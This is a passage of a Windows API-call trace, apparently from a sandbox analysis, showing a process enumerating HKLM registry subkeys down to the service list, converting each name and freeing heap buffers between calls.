(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.741] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.741] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.741] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0231.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0231.742] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.742] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.742] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.742] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.742] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0231.742] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0231.742] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0231.742] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.742] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.742] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.742] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.742] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0231.742] RegCloseKey (hKey=0x80000002) returned 0x0 [0231.742] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0231.742] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0231.742] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0231.742] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.742] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.742] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.742] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.742] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0231.742] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0231.742] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0231.743] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.743] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.743] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.743] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.743] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0231.743] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0231.743] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0231.743] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.743] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.743] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.743] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.743] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0231.743] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0231.743] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0231.743] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.743] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.743] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.743] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.743] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0231.743] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0231.743] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0231.743] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.743] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.743] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.744] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0231.744] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0231.744] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0231.744] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.744] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0231.744] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.744] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0231.744] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.744] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0231.744] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0231.744] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0231.744] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.744] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0231.744] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0231.745] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0231.745] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.745] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.745] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.745] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.745] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0231.745] RegCloseKey (hKey=0x154) returned 0x0 [0231.745] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0231.745] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.745] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0231.745] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.745] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.745] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.745] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.745] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0231.745] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0231.745] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0231.745] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.745] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.745] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.745] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.745] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0231.745] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0231.746] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0231.746] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.746] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0231.746] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.746] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0231.746] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.746] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0231.746] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.746] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0231.746] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.746] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0231.746] RegCloseKey (hKey=0x14c) returned 0x0 [0231.746] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0231.746] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0231.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0231.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.747] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0231.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0231.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0231.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.747] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0231.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0231.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0231.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.747] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0231.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0231.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0231.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.748] 